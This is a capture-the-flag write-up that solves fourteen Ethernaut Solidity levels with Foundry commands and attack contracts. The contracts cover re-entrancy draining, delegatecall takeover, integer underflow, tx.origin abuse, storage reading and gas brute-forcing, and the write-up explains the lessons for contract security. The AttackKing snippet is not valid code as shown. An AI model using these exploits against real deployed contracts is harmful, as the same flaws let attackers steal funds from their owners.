Ethernaut Series: Part I
- Fallback
- Fallout
- Coin Flip
- Telephone
- Token
- Delegation
- Force
- Vault
- King
- Re-entrancy
- Elevator
- Privacy
- Gatekeeper One
- Gatekeeper Two
Ethernaut is a Solidity game where each level needs to be “hacked” by finding some vulnerability in an Ethereum smart contract. I found this to be an engaging way to learn the basics behind Ethereum smart contracts. Currently, there are 27 levels of varying difficulty. Below are brief notes on how I completed each level. While there are already many solution write-ups out there, most use Hardhat while this writeup uses Foundry (see previous blog) to test and interact with the game.
Fallback
The fallback function allows contracts to receive Ether. To trigger fallback function in a contract:
- call function that doesn’t exist within the contract (or omitting required data)
- send ether without any data to the contract
Note that the receive()
function, if it exists in the contract, gets called instead of fallback()
if msg.data
is empty but msg.value
is positive, as will be the case in this level.
We see there are two options to gaining ownership of the contract (ie. to set owner=msg.sender
). Either we contribute more than 1000 ether (which would take weeks of requesting on testnet faucet), or we pass the requirement in the receive()
function: require(msg.value > 0 && contributions[msg.sender] > 0)
. Thus, the steps are:
- Call
contribute
with some arbitrary positivemsg.value
cast send <challenge_addr> "contribute()" --value 777
- Note that the
msg.value
is inwei = 1e-18 ether
- Send some ether without any data, ie. empty
msg.data
, to trigger thereceive()
functioncast send <challenge_addr> --value 555
- Now, the owner should be us:
cast call <challenge_adddr> "owner()(address)"
- Withdraw entire contract balance of ether
cast send <challenge_addr> "withdraw()"
As a side detail, I did not use a keystore since I wanted to use an existing account on Metamask so I set up the $PRIVATE_KEY
environment variable in an .env
file and append --private-key $PRIVATE_KEY
to the cast send
commands that publish a transaction.
Lesson here is one should be careful when changing contract ownership within a fallback function, or transferring out funds inside fallback function because anyone can trigger fallback function.
Fallout
The Fal1out
function (which was meant as a constructor) is mispelled and doesn’t match the contract name Fallout
! Therefore, we can still call the constructor function which sets owner = msg.sender
.
cast send <challenge_addr> "Fal1out()" --value 777
This happened in the Rubixi hack incidence, the developers changed the contract’s name from Dynamic Pyramid
to Rubixi
. However, they forgot to rename the constructor function to Rubixi()
, allowing anyone to become the owner and withdraw funds. This is less relevant now that the standard is to use the reserved constructor
keyword.
Coin Flip
The key is that block.number
can be known since an attack can execute flip()
within same block.
- Note that
using SafeMath for uint256
is not required after solidity 0.8.x. - Deploy contract below
forge create src/AttackCoinflip.sol:AttackCoinflip --verify
--verify
uploads the verified source code to Etherscan
pragma solidity 0.8.10;
interface ICoinFlip{
function flip(bool _guess) external returns(bool);
}
contract AttackCoinflip{
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address coinflipAddress = 0x07d53476B965f9A594152D85B0e1cfbAc370503f;
ICoinFlip public coinflipContract = ICoinFlip(coinflipAddress);
function flip() external {
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
coinflipContract.flip(side);
}
}
- Call
flip()
10x viacast send <challenge_addr> "flip()" --gas-limit 300000
Telephone
- Call
changeOwner
from a smart contract instead of my wallet- So
tx.origin ≠ msg.sender
sincemsg.sender
would be contract address, buttx.origin
is the signer of the originating transaction (ie. externally-owned account (EOA) derived from a private key) - Only wallets (EOAs) can be
tx.origin
, not contracts, whereas either one can bemsg.sender
- So
forge create --private-key $PRIVATE_KEY src/AttackTelephone.sol:AttackTelephone
pragma solidity 0.8.10;
interface ITelephone{
function changeOwner(address _owner) external;
}
contract AttackTelephone{
address telephoneAddress = 0x16a5385C66f06D6190eAbD5979816317f314Fe4C;
ITelephone public telephoneContract = ITelephone(telephoneAddress);
function attack() external {
telephoneContract.changeOwner(msg.sender);
}
}
cast send --private-key $PRIVATE_KEY <challenge_addr> "attack()"
- Avoid phishing attacks by avoiding authenticating using
tx.origin
. Instead, always usemsg.sender
to authenticate (see here)- For instance, a vulnerability occurs when an attacker convinces victim to send him/her some small amount of ether
_amount
, triggering a malicious fallback function that transfers the funds of victimtx.origin
to attacker. - We should replace
tx.origin
(victim) withmsg.sender
(attacker contract) in the require statement
- For instance, a vulnerability occurs when an attacker convinces victim to send him/her some small amount of ether
//A Wallet contract (bad) transfer method
function transfer(address payable _to, uint _amount) public {
require(tx.origin == owner);
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
//attacker contract's fallback function
function () payable {
wallet.transfer(attackerAddress, address(wallet).balance);
}
Token
We exploit integer underflow/overflow with uint! Because we are dealing with unsigned ints: the require statement require(balances[msg.sender] - _value >= 0)
is always true.
mapping(address => uint) balances;
...
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
We need a msg.sender
that is not us (the player
address) to subtract value
amount.
forge create src/AttackToken.sol:AttackToken
cast send <challenge_addr> "attack()" --gas-limit 300000
- ie.
msg.sender
in thetransfer
function will be the attack contract we deployed
- ie.
pragma solidity 0.8.10;
interface IToken{
function transfer(address _to, uint _value) external returns (bool);
}
contract AttackToken{
address tokenAddress = 0x007E0ef5B081961Dc6D5b92fF375Dd077A7C1F33;
IToken public tokenContract = IToken(tokenAddress);
address sendTo = 0x9bdcf9696e273aFd83992b1Fb5672A70532ca9E1; //player address
function attack() external {
tokenContract.transfer(sendTo,2**256 - 21); //sentTo has 20 already
}
}
Note that the player
starts with 20 tokens, hence sending 2**256 - 21
to it. This results in player
address having the maximum uint256
balance of 2**256 - 1
tokens. Alternatively, we could’ve sent 21 tokens from player
to anyone else, causing integer underlow.
Delegation
Recall that call
in Solidity is a low level function to interact with other contracts
- Takes encoded function signature and args as the parameter (the encoded payload
abi.encodeWithSignature(func_sig, args)
becomesmsg.data
in the contract being called) \ - For instance,
(bool success, bytes memory data) = _addr.call{value: msg.value, gas: 5000}(abi.encodeWithSignature("foo(string,uint256)", "asdf", 123));
effectively callsfoo(string,uint256)
in the_addr
contract- As usual, if
foo(string,uint256)
doesn’t exist, it will trigger the fallback function in_addr
contract
- As usual, if
- Similarly,
delegatecall
executes code of another contract, but when contractA
executesdelegatecall
to contractB
,B
’s code is executed with contractA
’s storage,msg.sender
andmsg.value
. See here for delegatecall example.
ABI-encoding compresses function and arguments into type bytes
which is displayed in hex.
cast calldata "pwn()”
= 0xdd365b8b, known as the method id (8 hex characters = 4 bytes). The reverse operation is calledcast 4byte 0xdd365b8b
which returns function signature for the given selectorpwn()
cast calldata “baz(uint32,bool)” 69 true
0xcdcd77c0
, again 8 hex = 4 bytes- 69 is
0x0000000000000000000000000000000000000000000000000000000000000045
, 64 hex characters = 32 bytes true
is0x0000000000000000000000000000000000000000000000000000000000000001
, also 64 hex
To solve this level:
- Get ABI-encoding of “pwn()”:
cast calldata "pwn()”
= 0xdd365b8b cast send <challenge_addr> 0xdd365b8b --gas-limit 300000
- calls
pwn()
onDelegation
contract which does not exist, so fallback function ofDelegation
gets called. - Then,
delegatecall
is executed onDelegate
contract withpwn()
function (encoded in bytes) as themsg.data=0xdd365b8b
. Thus, we execute thepwn()
function but on theDelegation
’s storage which sets itsowner
variable to ourplayer
address.
- calls
Force
This level simply illustrates that you can force sending ether to a contract that does not have any payable functions, by using selfdestruct
of another contract.
forge create src/Force.sol:ForceSend --value 1 --constructor-args <challenge_addr>
- note we pre-funded the contract with 1 wei, which was sent to target contract, before self-destructing in the same tx
pragma solidity ^0.8.0;
contract ForceSend {
constructor (address payable _target) payable {
require(msg.value>0);
selfdestruct(_target);
}
}
Vault
We need to get raw value of contract’s second storage slot, since the storage slots are laid out in the order that the variables are defined.
- Hence,
locked
corresponds to the first slot, andbytes32
corresponds to the second.- Details on the subtleties of the storage layout (such as packing multiple variables of size < 32 bytes into one slot) can be found here.
cast storage <challenge_addr> 1
- equivalent to
ethers.provider.getStorageAt(addr,1)
in Javascript’sethers
library.
- equivalent to
King
To break this Ponzi game, we make our attack contract unable to receive tokens.
- use
revert()
in thereceive()
payable function, which means no one can reclaim the kingship from us forge create src/AttackKing.sol:AttackKing --value 0.001ether --constructor-args <challenge_addr>
pragma solidity ^0.8.0;
contract AttackKing{
require(msg.value >= 0.001 ether, "please send >= 0.001 ether");
constructor(address payable _sendTo) public payable {
_sendTo.call{value:msg.value}("");
}
receive() external payable {
revert();
}
}
Re-entrancy
This is the same exploit that led to the famous DAO hack. Due to sending funds before updating internal state, the malicious contract is able to keep calling the withdraw
function via a malicious fallback/receive function. To fix the vulnerability, we could update the internal balances
state before calling the ether transfer, ensuring safe re-entry into the withdraw
function.
When msg.sender.call{value:_amount}("")
is processed, the control is handed back to the receive
function in our originating attacking contract, which keeps calling withdraw
function until we empty the victim contract.
- Remember to make fallback function payable (or alternatively, use a payable
receive()
function) forge create src/AttackReentrancy.sol:AttackReentrancy --verify
cast send <challenge_addr> "attack()" --gas-limit 300000 --value 0.001ether
pragma solidity ^0.8.10;
interface IReentrance{
function withdraw(uint _amount) external;
function donate(address _to) external payable;
}
contract AttackReentrancy{
address contractAddress = 0xABF83aD603829851f6cc631D4bcCD084b0EAedb9;
IReentrance public challengeContract = IReentrance(contractAddress);
uint amount;
receive() external payable {
drain();
}
function attack() external payable {
amount=msg.value;
challengeContract.donate{value:amount}(address(this));
challengeContract.withdraw(amount);
}
function drain() private {
uint remainingBalance = address(challengeContract).balance;
if(remainingBalance > 0) {
uint toWithdraw = (remainingBalance > amount? amount:remainingBalance);
challengeContract.withdraw(toWithdraw);
}
}
}
Elevator
Since Elevator.sol
never implemented isLastFloor
from the Building
interface, we can create a Building
contract that implements the function. So, when we invoke goTo
from our Building
contract, it will use our definition of isLastFloor
.
- the
goTo(uint)
function callsisLastFloor
twice, and we need it to returnfalse
, thentrue
. We can just store a counter variabletimesCalled
forge create src/AttackElevator.sol:Building --verify
pragma solidity ^0.8.10;
interface IElevator{
function goTo(uint _floor) external;
}
contract Building{
uint timesCalled;
IElevator public elevator;
function isLastFloor(uint) external returns (bool) {
timesCalled++;
if (timesCalled > 1){
return true;
}
else {return false;}
}
function attack(address _victim) public {
elevator = IElevator(_victim);
elevator.goTo(1);
}
}
Privacy
Each storage slot in Ethereum contracts is 32 bytes. The first bool will take the entire first slot, since the following uint256
variable = 256 bits = 32bytes so it also occupies its own slot. Both uint8
variables, and the following uint16
can be packed together into one slot. We thus need to take the 6th slot, corresponding to data[2]
which is a bytes32
type.
cast storage <challenge_addr> 5
returnsbytes32 data[2]
=0xf92a248e0a7e36a498030961667f3e29 ba5029a60fec66b27534a24225ad5241
- big endian ordering (stored starting on left side) applies for strings and bytes, while little endian (start storing on the right) applies for bool, numbers, addresses
- Hence,
byte16(data[2])
=0xf92a248e0a7e36a498030961667f3e29
(ie. take the left-half due to big-endian order forbytes32
type) cast send <challenge_addr> "unlock(bytes16)" 0xf92a248e0a7e36a498030961667f3e29
solves the challenge
Gatekeeper One
To satisfy gateOne()
, we simply need to call enter(_gateKey)
from a contract that we deploy.
As for gateThree
, we need a bytes8
key (16 hex characters) satisfying each of the 3 require statements.
uint32(uint64(_gateKey)) == uint16(tx.origin)
implies that the last 8 hex characters of the key have to equal the last 4 hex characters oftx.origin
(a9E1 for me)0x????????0000a9E1
works. Recall that casting down for ints follows little endian (keep rightmost characters)
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
implies that last 8 hex characters of the key have to equal the last 4 hex characters0x????????0000a9E1
still works
uint32(uint64(_gateKey)) != uint64(_gateKey)
implies that the last 8 hex characters of the key cannot equal the full 16 hex characters0xFFFFFFFF0000a9E1
as the final_gateKey
satisfies this, since0xFFFFFFFF0000a9E1 != 0x0000a9E1
As shown below, you can use console.log
as done in my test script to verify that the key works. See previous blog on how to run Foundry tests locally for debugging purposes by forking the live testnet.
// test/GatekeeperOne.t.sol
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "src/AttackGatekeeperOne.sol";
contract ContractTest is Test {
AttackGatekeeperOne gkp;
function setUp() public {
gkp = new AttackGatekeeperOne(0x590aAf34f517B1ADc569bfB48420227FE0D0ceD8);
}
function testGatekeeper() public{
bytes8 _key = 0xffffffff0000a9E1;
vm.startPrank(0x9bdcf9696e273aFd83992b1Fb5672A70532ca9E1,0x9bdcf9696e273aFd83992b1Fb5672A70532ca9E1);
console.logBytes8(_key);
console.log("uint16(uint64(_key)): %s", uint16(uint64(_key)) );
console.log("uint32(uint64(_key)): %s", uint32(uint64(_key)) );
console.log("uint64(_key): %s", uint64(_key));
console.log("uint16(tx.origin): %s", uint16(uint160(0x9bdcf9696e273aFd83992b1Fb5672A70532ca9E1)));
gkp.attack(_key,0);
vm.stopPrank();
}
}
Logs:
0xffffffff0000a9e1
uint16(uint64(_key)): 43489
uint32(uint64(_key)): 43489
uint64(_key): 18446744069414627809
uint16(tx.origin): 43489
Finally, we need to satisfy gateTwo
, in my opinion the most challenging of the 3 modifiers.
Commands to solve the challenge:
forge create src/AttackGatekeeperOneExact.sol:AttackGatekeeperOneExact --verify --constructor-args <challenge_contract>
cast send <attacker_contract> "attack(bytes8,uint256)" 0xffffffff0000a9E1 82164 --gas-limit 600000
pragma solidity ^0.8.10;
contract AttackGatekeeperOneExact {
address public victim;
constructor(address _victim) {
victim = _victim;
}
function attack(bytes8 _key, uint256 _gasLevel) public returns(bool){
//0xffffffff0000a9E1
require(uint32(uint64(_key)) == uint16(uint64(_key)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_key)) != uint64(_key), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_key)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
bytes memory payload = abi.encodeWithSignature("enter(bytes8)", _key);
(bool success,) = victim.call{gas: _gasLevel + 8191*10}(payload);
require(success, "failed");
return success;
}
}
Question: how did we know the _gasLevel
parameter in the attack function should be 82164?
The answer is that we fork the live testnet to log the correct gasLevel in a for-loop. Forking a live testnet means we don’t need to do any setup to simulate the actual gas usage, as all the relevant contracts (ie. the challenge contract) are deployed. Instead of running the for-loop in live testnet (as I’ve seen some tutorials do, wasting testnet ETH and also taking more time to test), we can debug gas using foundry’s forge test -vvvv --rpc-url $ETH_RPC_URL
. Replace the line (bool success,) = victim.call{gas: _gasLevel + 8191*10}(payload);
with the for loop clause below:
//src/AttackGatekeeperOne.sol (with loop for testing)
import "forge-std/Test.sol";
...
for (uint256 i=0; i<300; i++){
(success,) = victim.call{gas: i + _gasLevel + 8191*10}(payload);
if(success){
console.log(i + _gasLevel + 8191*10);
break;
}
}
Gatekeeper Two
As with Gatekeeper One, gateOne()
is trivial (call enter
using a contract).
For gateTwo()
, we see that assembly { x := extcodesize(caller()) }
and require(x==0)
, so somehow the size of the code of our attack contract must be 0.
- The workaround is to call all the functions within the constructor (since code size is still 0 while still inside the construction clause).
Finally, for gateThree
, we have require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1)
which can be rewritten as require(a ^ b == c)
, which we prove is equivalent to require(b == a ^ c)
below.
-
a ^ b == c a ^ b ^ (b ^ c) == c ^ (b ^ c) a ^ (b ^ b) ^ c == (c ^ c) ^ b a ^ 0 ^ c == 0 ^ b a ^ c == b
- Since
solidity ^0.8.0
, there is underflow and overflow checking, souint(64)-1
has to be written astype(uint64).max
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
contract AttackGatekeeperTwo {
address public victim;
constructor(address _victim) {
victim = _victim;
bytes8 _key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (type(uint64).max));
bytes memory payload = abi.encodeWithSignature("enter(bytes8)", _key);
(bool success,) = victim.call(payload);
uint x;
assembly { x := extcodesize(address()) }
console.log("extcodesize at constructor is: %s",x);
require(success, "failed");
}
}